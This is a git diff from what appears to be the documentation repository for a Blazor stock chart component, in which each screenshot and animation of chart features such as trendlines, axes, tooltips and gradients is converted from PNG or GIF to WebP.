diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-custom-trendline.png b/blazor/stock-chart/images/common/blazor-stock-chart-custom-trendline.png
deleted file mode 100644
index 3185d26939..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-custom-trendline.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-custom-trendline.webp b/blazor/stock-chart/images/common/blazor-stock-chart-custom-trendline.webp
new file mode 100644
index 0000000000..35b343ab32
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-custom-trendline.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-datetime-axis.png b/blazor/stock-chart/images/common/blazor-stock-chart-datetime-axis.png
deleted file mode 100644
index 3337d52579..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-datetime-axis.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-datetime-axis.webp b/blazor/stock-chart/images/common/blazor-stock-chart-datetime-axis.webp
new file mode 100644
index 0000000000..22accbbb3c
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-datetime-axis.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-datetimecategory-axis.png b/blazor/stock-chart/images/common/blazor-stock-chart-datetimecategory-axis.png
deleted file mode 100644
index 5efedc4798..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-datetimecategory-axis.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-datetimecategory-axis.webp b/blazor/stock-chart/images/common/blazor-stock-chart-datetimecategory-axis.webp
new file mode 100644
index 0000000000..fee41d154b
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-datetimecategory-axis.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-dynamic.png b/blazor/stock-chart/images/common/blazor-stock-chart-dynamic.png
deleted file mode 100644
index 7bbfe03349..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-dynamic.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-dynamic.webp b/blazor/stock-chart/images/common/blazor-stock-chart-dynamic.webp
new file mode 100644
index 0000000000..888744486c
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-dynamic.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-expando.png b/blazor/stock-chart/images/common/blazor-stock-chart-expando.png
deleted file mode 100644
index 8c6c3c3585..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-expando.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-expando.webp b/blazor/stock-chart/images/common/blazor-stock-chart-expando.webp
new file mode 100644
index 0000000000..c070d2ebbd
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-expando.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-grid-lines.png b/blazor/stock-chart/images/common/blazor-stock-chart-grid-lines.png
deleted file mode 100644
index 3972b7c9a0..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-grid-lines.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-grid-lines.webp b/blazor/stock-chart/images/common/blazor-stock-chart-grid-lines.webp
new file mode 100644
index 0000000000..ede3c80c7c
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-grid-lines.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-in-opposed-position.png b/blazor/stock-chart/images/common/blazor-stock-chart-in-opposed-position.png
deleted file mode 100644
index 9f1ab9e16d..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-in-opposed-position.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-in-opposed-position.webp b/blazor/stock-chart/images/common/blazor-stock-chart-in-opposed-position.webp
new file mode 100644
index 0000000000..c1ea727aa3
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-in-opposed-position.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-inversed-axis.png b/blazor/stock-chart/images/common/blazor-stock-chart-inversed-axis.png
deleted file mode 100644
index 3897c4df4a..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-inversed-axis.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-inversed-axis.webp b/blazor/stock-chart/images/common/blazor-stock-chart-inversed-axis.webp
new file mode 100644
index 0000000000..ef39942c79
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-inversed-axis.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-logarithmic-axis.png b/blazor/stock-chart/images/common/blazor-stock-chart-logarithmic-axis.png
deleted file mode 100644
index 02fcc9fbbe..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-logarithmic-axis.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-logarithmic-axis.webp b/blazor/stock-chart/images/common/blazor-stock-chart-logarithmic-axis.webp
new file mode 100644
index 0000000000..423096b7ba
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-logarithmic-axis.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-moving-average-trendlines.png b/blazor/stock-chart/images/common/blazor-stock-chart-moving-average-trendlines.png
deleted file mode 100644
index ae7cd83622..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-moving-average-trendlines.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-moving-average-trendlines.webp b/blazor/stock-chart/images/common/blazor-stock-chart-moving-average-trendlines.webp
new file mode 100644
index 0000000000..b1feca6e78
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-moving-average-trendlines.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-moving-tooltip.gif b/blazor/stock-chart/images/common/blazor-stock-chart-moving-tooltip.gif
deleted file mode 100644
index 1d0b8b1357..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-moving-tooltip.gif and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-moving-tooltip.webp b/blazor/stock-chart/images/common/blazor-stock-chart-moving-tooltip.webp
new file mode 100644
index 0000000000..d07f5b8184
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-moving-tooltip.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-multiple-axes.png b/blazor/stock-chart/images/common/blazor-stock-chart-multiple-axes.png
deleted file mode 100644
index 20b6d140a0..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-multiple-axes.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-multiple-axes.webp b/blazor/stock-chart/images/common/blazor-stock-chart-multiple-axes.webp
new file mode 100644
index 0000000000..2b53bc5b71
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-multiple-axes.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-no-data-template.gif b/blazor/stock-chart/images/common/blazor-stock-chart-no-data-template.gif
deleted file mode 100644
index 69047818f3..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-no-data-template.gif and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-no-data-template.webp b/blazor/stock-chart/images/common/blazor-stock-chart-no-data-template.webp
new file mode 100644
index 0000000000..5ca3b96931
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-no-data-template.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-observable-collection.png b/blazor/stock-chart/images/common/blazor-stock-chart-observable-collection.png
deleted file mode 100644
index 8d7149a4fd..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-observable-collection.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-observable-collection.webp b/blazor/stock-chart/images/common/blazor-stock-chart-observable-collection.webp
new file mode 100644
index 0000000000..a3fd9b2f68
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-observable-collection.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-period-selector.png b/blazor/stock-chart/images/common/blazor-stock-chart-period-selector.png
deleted file mode 100644
index e1e211db2e..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-period-selector.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-period-selector.webp b/blazor/stock-chart/images/common/blazor-stock-chart-period-selector.webp
new file mode 100644
index 0000000000..6eb593c952
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-period-selector.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-range-selection.png b/blazor/stock-chart/images/common/blazor-stock-chart-range-selection.png
deleted file mode 100644
index dac7843d35..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-range-selection.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-range-selection.webp b/blazor/stock-chart/images/common/blazor-stock-chart-range-selection.webp
new file mode 100644
index 0000000000..c9c13753ab
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-range-selection.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-tick-lines.png b/blazor/stock-chart/images/common/blazor-stock-chart-tick-lines.png
deleted file mode 100644
index 3aaf5858e5..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-tick-lines.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-tick-lines.webp b/blazor/stock-chart/images/common/blazor-stock-chart-tick-lines.webp
new file mode 100644
index 0000000000..bee4dd6623
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-tick-lines.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-title.png b/blazor/stock-chart/images/common/blazor-stock-chart-title.png
deleted file mode 100644
index ce4c2dcb02..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-title.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-title.webp b/blazor/stock-chart/images/common/blazor-stock-chart-title.webp
new file mode 100644
index 0000000000..876c0dee77
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-title.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-tooltip.png b/blazor/stock-chart/images/common/blazor-stock-chart-tooltip.png
deleted file mode 100644
index 5128e02dd6..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-tooltip.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-tooltip.webp b/blazor/stock-chart/images/common/blazor-stock-chart-tooltip.webp
new file mode 100644
index 0000000000..3938c35e10
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-tooltip.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-trackball.png b/blazor/stock-chart/images/common/blazor-stock-chart-trackball.png
deleted file mode 100644
index 124a86d3d6..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-trackball.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-trackball.webp b/blazor/stock-chart/images/common/blazor-stock-chart-trackball.webp
new file mode 100644
index 0000000000..7d097bd18a
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-trackball.webp differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-visibility-period-selector.png b/blazor/stock-chart/images/common/blazor-stock-chart-visibility-period-selector.png
deleted file mode 100644
index 7083929ff3..0000000000
Binary files a/blazor/stock-chart/images/common/blazor-stock-chart-visibility-period-selector.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/blazor-stock-chart-visibility-period-selector.webp b/blazor/stock-chart/images/common/blazor-stock-chart-visibility-period-selector.webp
new file mode 100644
index 0000000000..0d2420a99e
Binary files /dev/null and b/blazor/stock-chart/images/common/blazor-stock-chart-visibility-period-selector.webp differ
diff --git a/blazor/stock-chart/images/common/grid.png b/blazor/stock-chart/images/common/grid.png
deleted file mode 100644
index 7d2303ecb7..0000000000
Binary files a/blazor/stock-chart/images/common/grid.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/grid.webp b/blazor/stock-chart/images/common/grid.webp
new file mode 100644
index 0000000000..6b1e36002f
Binary files /dev/null and b/blazor/stock-chart/images/common/grid.webp differ
diff --git a/blazor/stock-chart/images/common/light-weight.png b/blazor/stock-chart/images/common/light-weight.png
deleted file mode 100644
index b721f00dde..0000000000
Binary files a/blazor/stock-chart/images/common/light-weight.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/light-weight.webp b/blazor/stock-chart/images/common/light-weight.webp
new file mode 100644
index 0000000000..9fc4770cba
Binary files /dev/null and b/blazor/stock-chart/images/common/light-weight.webp differ
diff --git a/blazor/stock-chart/images/common/log.png b/blazor/stock-chart/images/common/log.png
deleted file mode 100644
index 5a7387eeb4..0000000000
Binary files a/blazor/stock-chart/images/common/log.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/log.webp b/blazor/stock-chart/images/common/log.webp
new file mode 100644
index 0000000000..af3ec7b3ab
Binary files /dev/null and b/blazor/stock-chart/images/common/log.webp differ
diff --git a/blazor/stock-chart/images/common/no-data.png b/blazor/stock-chart/images/common/no-data.png
deleted file mode 100644
index a57f61c539..0000000000
Binary files a/blazor/stock-chart/images/common/no-data.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/no-data.webp b/blazor/stock-chart/images/common/no-data.webp
new file mode 100644
index 0000000000..0e0886efdc
Binary files /dev/null and b/blazor/stock-chart/images/common/no-data.webp differ
diff --git a/blazor/stock-chart/images/common/tooltip-format.png b/blazor/stock-chart/images/common/tooltip-format.png
deleted file mode 100644
index af9d89dc1e..0000000000
Binary files a/blazor/stock-chart/images/common/tooltip-format.png and /dev/null differ
diff --git a/blazor/stock-chart/images/common/tooltip-format.webp b/blazor/stock-chart/images/common/tooltip-format.webp
new file mode 100644
index 0000000000..e2ffb1489f
Binary files /dev/null and b/blazor/stock-chart/images/common/tooltip-format.webp differ
diff --git a/blazor/stock-chart/images/frame-work.png b/blazor/stock-chart/images/frame-work.png
deleted file mode 100644
index 50082a3d37..0000000000
Binary files a/blazor/stock-chart/images/frame-work.png and /dev/null differ
diff --git a/blazor/stock-chart/images/frame-work.webp b/blazor/stock-chart/images/frame-work.webp
new file mode 100644
index 0000000000..11187f3630
Binary files /dev/null and b/blazor/stock-chart/images/frame-work.webp differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-indicators.png b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-indicators.png
deleted file mode 100644
index 89210ed59a..0000000000
Binary files a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-indicators.png and /dev/null differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-indicators.webp b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-indicators.webp
new file mode 100644
index 0000000000..5039e0dde1
Binary files /dev/null and b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-indicators.webp differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-series.png b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-series.png
deleted file mode 100644
index dbbbcd299b..0000000000
Binary files a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-series.png and /dev/null differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-series.webp b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-series.webp
new file mode 100644
index 0000000000..8719f8a6dd
Binary files /dev/null and b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-series.webp differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-trendlines.png b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-trendlines.png
deleted file mode 100644
index fcecdcb8b3..0000000000
Binary files a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-trendlines.png and /dev/null differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-trendlines.webp b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-trendlines.webp
new file mode 100644
index 0000000000..24550f700a
Binary files /dev/null and b/blazor/stock-chart/images/gradient/blazor-stock-chart-linear-gradient-trendlines.webp differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-radial-gradient-series.png b/blazor/stock-chart/images/gradient/blazor-stock-chart-radial-gradient-series.png
deleted file mode 100644
index 1c71967368..0000000000
Binary files a/blazor/stock-chart/images/gradient/blazor-stock-chart-radial-gradient-series.png and /dev/null differ
diff --git a/blazor/stock-chart/images/gradient/blazor-stock-chart-radial-gradient-series.webp b/blazor/stock-chart/images/gradient/blazor-stock-chart-radial-gradient-series.webp
new file mode 100644
index 0000000000..f236f192ea
Binary files /dev/null and b/blazor/stock-chart/images/gradient/blazor-stock-chart-radial-gradient-series.webp differ
diff --git a/blazor/stock-chart/images/image1.png b/blazor/stock-chart/images/image1.png
deleted file mode 100644
index 1a901e1446..0000000000
Binary files a/blazor/stock-chart/images/image1.png and /dev/null differ
diff --git a/blazor/stock-chart/images/image1.webp b/blazor/stock-chart/images/image1.webp
new file mode 100644
index 0000000000..8730448b0c
Binary files /dev/null and b/blazor/stock-chart/images/image1.webp differ
diff --git a/blazor/stock-chart/images/image2.png b/blazor/stock-chart/images/image2.png
deleted file mode 100644
index fe111c139e..0000000000
Binary files a/blazor/stock-chart/images/image2.png and /dev/null differ
diff --git a/blazor/stock-chart/images/image2.webp b/blazor/stock-chart/images/image2.webp
new file mode 100644
index 0000000000..c5e3548342
Binary files /dev/null and b/blazor/stock-chart/images/image2.webp differ
diff --git a/blazor/stock-chart/images/image3.png b/blazor/stock-chart/images/image3.png
deleted file mode 100644
index a5b02bdbec..0000000000
Binary files a/blazor/stock-chart/images/image3.png and /dev/null differ
diff --git a/blazor/stock-chart/images/image3.webp b/blazor/stock-chart/images/image3.webp
new file mode 100644
index 0000000000..8d588157a5
Binary files /dev/null and b/blazor/stock-chart/images/image3.webp differ
diff --git a/blazor/stock-chart/images/image5.png b/blazor/stock-chart/images/image5.png
deleted file mode 100644
index 72f9986edd..0000000000
Binary files a/blazor/stock-chart/images/image5.png and /dev/null differ
diff --git a/blazor/stock-chart/images/image5.webp b/blazor/stock-chart/images/image5.webp
new file mode 100644
index 0000000000..dedfe67a6a
Binary files /dev/null and b/blazor/stock-chart/images/image5.webp differ
diff --git a/blazor/stock-chart/images/image6.png b/blazor/stock-chart/images/image6.png
deleted file mode 100644
index 1dd6caad41..0000000000
Binary files a/blazor/stock-chart/images/image6.png and /dev/null differ
diff --git a/blazor/stock-chart/images/image6.webp b/blazor/stock-chart/images/image6.webp
new file mode 100644
index 0000000000..d9e267635f
Binary files /dev/null and b/blazor/stock-chart/images/image6.webp differ
diff --git a/blazor/stock-chart/images/import-cdn.png b/blazor/stock-chart/images/import-cdn.png
deleted file mode 100644
index 6068aeb265..0000000000
Binary files a/blazor/stock-chart/images/import-cdn.png and /dev/null differ
diff --git a/blazor/stock-chart/images/import-cdn.webp b/blazor/stock-chart/images/import-cdn.webp
new file mode 100644
index 0000000000..8fdea7d1f7
Binary files /dev/null and b/blazor/stock-chart/images/import-cdn.webp differ
diff --git a/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label-customization.png b/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label-customization.png
deleted file mode 100644
index e3f84109dc..0000000000
Binary files a/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label-customization.png and /dev/null differ
diff --git a/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label-customization.webp b/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label-customization.webp
new file mode 100644
index 0000000000..9665a600a5
Binary files /dev/null and b/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label-customization.webp differ
diff --git a/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label.png b/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label.png
deleted file mode 100644
index d1427a2174..0000000000
Binary files a/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label.png and /dev/null differ
diff --git a/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label.webp b/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label.webp
new file mode 100644
index 0000000000..05523a8553
Binary files /dev/null and b/blazor/stock-chart/images/last-value/blazor-stock-chart-last-value-label.webp differ
diff --git a/blazor/stock-chart/images/new-project.png b/blazor/stock-chart/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/stock-chart/images/new-project.png and /dev/null differ
diff --git a/blazor/stock-chart/images/new-project.webp b/blazor/stock-chart/images/new-project.webp
new file mode 100644
index 0000000000..6ac8098d50
Binary files /dev/null and b/blazor/stock-chart/images/new-project.webp differ
diff --git a/blazor/stock-chart/images/nuget-explorer.png b/blazor/stock-chart/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/stock-chart/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/stock-chart/images/nuget-explorer.webp b/blazor/stock-chart/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/stock-chart/images/nuget-explorer.webp differ
diff --git a/blazor/stock-chart/images/panning.gif b/blazor/stock-chart/images/panning.gif
deleted file mode 100644
index 376ed5b810..0000000000
Binary files a/blazor/stock-chart/images/panning.gif and /dev/null differ
diff --git a/blazor/stock-chart/images/panning.webp b/blazor/stock-chart/images/panning.webp
new file mode 100644
index 0000000000..25d23ca1e5
Binary files /dev/null and b/blazor/stock-chart/images/panning.webp differ
diff --git a/blazor/stock-chart/images/print/blazor-stock-chart-disable-print-export.png b/blazor/stock-chart/images/print/blazor-stock-chart-disable-print-export.png
deleted file mode 100644
index 0ab1f35b37..0000000000
Binary files a/blazor/stock-chart/images/print/blazor-stock-chart-disable-print-export.png and /dev/null differ
diff --git a/blazor/stock-chart/images/print/blazor-stock-chart-disable-print-export.webp b/blazor/stock-chart/images/print/blazor-stock-chart-disable-print-export.webp
new file mode 100644
index 0000000000..ae7c204d92
Binary files /dev/null and b/blazor/stock-chart/images/print/blazor-stock-chart-disable-print-export.webp differ
diff --git a/blazor/stock-chart/images/print/blazor-stock-chart-printing.png b/blazor/stock-chart/images/print/blazor-stock-chart-printing.png
deleted file mode 100644
index c48c1570ed..0000000000
Binary files a/blazor/stock-chart/images/print/blazor-stock-chart-printing.png and /dev/null differ
diff --git a/blazor/stock-chart/images/print/blazor-stock-chart-printing.webp b/blazor/stock-chart/images/print/blazor-stock-chart-printing.webp
new file mode 100644
index 0000000000..8fe003dfde
Binary files /dev/null and b/blazor/stock-chart/images/print/blazor-stock-chart-printing.webp differ
diff --git a/blazor/stock-chart/images/select-nuget.png b/blazor/stock-chart/images/select-nuget.png
deleted file mode 100644
index 4b67d0ce11..0000000000
Binary files a/blazor/stock-chart/images/select-nuget.png and /dev/null differ
diff --git a/blazor/stock-chart/images/select-nuget.webp b/blazor/stock-chart/images/select-nuget.webp
new file mode 100644
index 0000000000..d3bdf0e663
Binary files /dev/null and b/blazor/stock-chart/images/select-nuget.webp differ
diff --git a/blazor/stock-chart/images/series-types/blazor-hilo-open-close-stock-chart.png b/blazor/stock-chart/images/series-types/blazor-hilo-open-close-stock-chart.png
deleted file mode 100644
index 1d6ccaa4a5..0000000000
Binary files a/blazor/stock-chart/images/series-types/blazor-hilo-open-close-stock-chart.png and /dev/null differ
diff --git a/blazor/stock-chart/images/series-types/blazor-hilo-open-close-stock-chart.webp b/blazor/stock-chart/images/series-types/blazor-hilo-open-close-stock-chart.webp
new file mode 100644
index 0000000000..185dbc2b77
Binary files /dev/null and b/blazor/stock-chart/images/series-types/blazor-hilo-open-close-stock-chart.webp differ
diff --git a/blazor/stock-chart/images/series-types/blazor-hilo-stock-chart.png b/blazor/stock-chart/images/series-types/blazor-hilo-stock-chart.png
deleted file mode 100644
index 9627069eed..0000000000
Binary files a/blazor/stock-chart/images/series-types/blazor-hilo-stock-chart.png and /dev/null differ
diff --git a/blazor/stock-chart/images/series-types/blazor-hilo-stock-chart.webp b/blazor/stock-chart/images/series-types/blazor-hilo-stock-chart.webp
new file mode 100644
index 0000000000..ad347cf7de
Binary files /dev/null and b/blazor/stock-chart/images/series-types/blazor-hilo-stock-chart.webp differ
diff --git a/blazor/stock-chart/images/series-types/blazor-line-stock-chart.png b/blazor/stock-chart/images/series-types/blazor-line-stock-chart.png
deleted file mode 100644
index a0ddac1493..0000000000
Binary files a/blazor/stock-chart/images/series-types/blazor-line-stock-chart.png and /dev/null differ
diff --git a/blazor/stock-chart/images/series-types/blazor-line-stock-chart.webp b/blazor/stock-chart/images/series-types/blazor-line-stock-chart.webp
new file mode 100644
index 0000000000..a6fc9a897b
Binary files /dev/null and b/blazor/stock-chart/images/series-types/blazor-line-stock-chart.webp differ
diff --git a/blazor/stock-chart/images/series-types/blazor-spline-stock-chart.png b/blazor/stock-chart/images/series-types/blazor-spline-stock-chart.png
deleted file mode 100644
index 85891c85e4..0000000000
Binary files a/blazor/stock-chart/images/series-types/blazor-spline-stock-chart.png and /dev/null differ
diff --git a/blazor/stock-chart/images/series-types/blazor-spline-stock-chart.webp b/blazor/stock-chart/images/series-types/blazor-spline-stock-chart.webp
new file mode 100644
index 0000000000..4f815cc8e0
Binary files /dev/null and b/blazor/stock-chart/images/series-types/blazor-spline-stock-chart.webp differ
diff --git a/blazor/stock-chart/images/server-side.png b/blazor/stock-chart/images/server-side.png
deleted file mode 100644
index 5873cf9e89..0000000000
Binary files a/blazor/stock-chart/images/server-side.png and /dev/null differ
diff --git a/blazor/stock-chart/images/server-side.webp b/blazor/stock-chart/images/server-side.webp
new file mode 100644
index 0000000000..489af36504
Binary files /dev/null and b/blazor/stock-chart/images/server-side.webp differ
diff --git a/blazor/stock-chart/images/size/blazor-stock-chart-size-in-percentage.png b/blazor/stock-chart/images/size/blazor-stock-chart-size-in-percentage.png
deleted file mode 100644
index 12d9dc0d66..0000000000
Binary files a/blazor/stock-chart/images/size/blazor-stock-chart-size-in-percentage.png and /dev/null differ
diff --git a/blazor/stock-chart/images/size/blazor-stock-chart-size-in-percentage.webp b/blazor/stock-chart/images/size/blazor-stock-chart-size-in-percentage.webp
new file mode 100644
index 0000000000..e59bd0080e
Binary files /dev/null and b/blazor/stock-chart/images/size/blazor-stock-chart-size-in-percentage.webp differ
diff --git a/blazor/stock-chart/images/size/blazor-stock-chart-size-in-pixel.png b/blazor/stock-chart/images/size/blazor-stock-chart-size-in-pixel.png
deleted file mode 100644
index 8f2b3a724c..0000000000
Binary files a/blazor/stock-chart/images/size/blazor-stock-chart-size-in-pixel.png and /dev/null differ
diff --git a/blazor/stock-chart/images/size/blazor-stock-chart-size-in-pixel.webp b/blazor/stock-chart/images/size/blazor-stock-chart-size-in-pixel.webp
new file mode 100644
index 0000000000..bc0d5f8766
Binary files /dev/null and b/blazor/stock-chart/images/size/blazor-stock-chart-size-in-pixel.webp differ
diff --git a/blazor/stock-chart/images/size/blazor-stock-chart-size.png b/blazor/stock-chart/images/size/blazor-stock-chart-size.png
deleted file mode 100644
index 26705f5ea6..0000000000
Binary files a/blazor/stock-chart/images/size/blazor-stock-chart-size.png and /dev/null differ
diff --git a/blazor/stock-chart/images/size/blazor-stock-chart-size.webp b/blazor/stock-chart/images/size/blazor-stock-chart-size.webp
new file mode 100644
index 0000000000..9377a80cd0
Binary files /dev/null and b/blazor/stock-chart/images/size/blazor-stock-chart-size.webp differ
diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-exponential-trendline.png b/blazor/stock-chart/images/trendlines/blazor-stock-chart-exponential-trendline.png
deleted file mode 100644
index f81fc4e815..0000000000
Binary files a/blazor/stock-chart/images/trendlines/blazor-stock-chart-exponential-trendline.png and /dev/null differ
diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-exponential-trendline.webp b/blazor/stock-chart/images/trendlines/blazor-stock-chart-exponential-trendline.webp
new file mode 100644
index 0000000000..71f701839c
Binary files /dev/null and b/blazor/stock-chart/images/trendlines/blazor-stock-chart-exponential-trendline.webp differ
diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-linear-trendline.png b/blazor/stock-chart/images/trendlines/blazor-stock-chart-linear-trendline.png
deleted file mode 100644
index 36f19bb7c2..0000000000
Binary files a/blazor/stock-chart/images/trendlines/blazor-stock-chart-linear-trendline.png and /dev/null differ
diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-linear-trendline.webp b/blazor/stock-chart/images/trendlines/blazor-stock-chart-linear-trendline.webp
new file mode 100644
index 0000000000..6130bf09bf
Binary files /dev/null and b/blazor/stock-chart/images/trendlines/blazor-stock-chart-linear-trendline.webp differ
diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-logarithmic-trendline.png b/blazor/stock-chart/images/trendlines/blazor-stock-chart-logarithmic-trendline.png
deleted file mode 100644
index 01ad2025ae..0000000000
Binary files a/blazor/stock-chart/images/trendlines/blazor-stock-chart-logarithmic-trendline.png and /dev/null differ
diff --git a/blazor/stock-chart/images/trendlines/blazor-stock-chart-logarithmic-trendline.webp b/blazor/stock-chart/images/trendlines/blazor-stock-chart-logarithmic-trendline.webp
new file mode 100644
index 0000000000..7c4e124ffb
Binary files /dev/null and b/blazor/stock-chart/images/trendlines/blazor-stock-chart-logarithmic-trendline.webp differ
